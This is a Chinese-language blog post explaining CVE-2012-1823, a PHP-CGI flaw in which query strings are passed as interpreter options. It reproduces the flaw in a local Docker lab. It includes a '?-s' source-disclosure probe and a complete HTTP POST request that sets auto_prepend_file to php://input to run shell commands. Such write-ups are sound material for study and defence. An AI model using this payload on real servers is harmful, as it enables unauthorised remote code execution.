CVE-2012-1823-php任意代码执行

知识大全 3年前 (2021) Jie
264 0 0

漏洞编号:CVE-2012-1823

    影响版本:php < 5.3.12,php < 5.4.2

上文 讲了web服务器处理后端语言有两种协议:1.cgi协议 2.fastcgi协议。

CVE-2012-1823出现在cgi协议中

漏洞原理:

将用户请求的querystring被作为了php-cgi参数,最终导致了一系列结果。

举个例子,当用户访问 http://127.0.0.1/index.php?a=1&b=2 时,如果 Web 目录是 /var/www/html,那么 Web 服务器中间件(如 Nginx)会将这个请求变成如下 key-value 对:

{
 'GATEWAY_INTERFACE': 'FastCGI/1.0',
 'REQUEST_METHOD': 'GET',
 'SCRIPT_FILENAME': '/var/www/html/index.php',
 'SCRIPT_NAME': '/index.php',
 'QUERY_STRING': '?a=1&b=2',
 'REQUEST_URI': '/index.php?a=1&b=2',
 'DOCUMENT_ROOT': '/var/www/html',
 'SERVER_SOFTWARE': 'php/fcgiclient',
 'REMOTE_ADDR': '127.0.0.1',
 'REMOTE_PORT': '12345',
 'SERVER_ADDR': '127.0.0.1',
 'SERVER_PORT': '80',
 'SERVER_NAME':"localhost",
 'SERVER_PROTOCOL': 'HTTP/1.1'}

eb服务器中间件将用户请求(主机,参数)设置成环境变量(key-value),产生这样的一个关键的键值对'SCRIPT_FILENAME': '/var/www/html/index.php',php会执行这个文件,若是能够控制键值,可以执行目标主机的存在的文件,但是不能够构造恶意代码,让恶意代码执行.在 PHP5.3.9后的版本,PHP增加了security.limit_extensions 安全选项,只能控制PHP-CGI执行php文件

但是,PHP 中有两个神助攻的配置项:

auto_prepend_file:告诉PHP,在执行目标文件之前,先包含 auto_prepend_file 中指定的文件。

auto_append_file:告诉PHP,在执行完成目标文件后,再包含 auto_append_file 指向的文件。

假设我们设置 auto_prepend_file 为 php://input,那么就等于在执行任何 PHP 文件前都要包含一遍 POST 的内容。所以,我们只需要把需要执行的代码放在 Body 中,他们就能被执行了。(当然,这还需要开启远程文件包含选项 allow_url_include

php://input

从官网信息来看,php://input是一个只读信息流,当请求方式是post的,并且enctype不等于”multipart/form-data”时,可以使用php://input来获取原始请求的数据。看一个简单的例子。客户端就是一个表单,非常简单。

将表单提交到服务端,服务端使用file_get_contents获取php://input内容

 

漏洞复现:

注明:该漏洞为本地docker 搭建,请勿做非法用途谢谢

访问`http://your-ip:8080/index.php?-s`即爆出源码,说明漏洞存在

CVE-2012-1823-php任意代码执行

 

CVE-2012-1823-php任意代码执行

如下代码收集互联网,请勿用于非法用途谢谢

 

POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: 192.168.3.29:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 31

<?php echo shell_exec("whoami"); ?>

版权声明:Jie 发表于 2021年9月25日 pm12:03。
转载请注明:CVE-2012-1823-php任意代码执行 | 黑客街

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...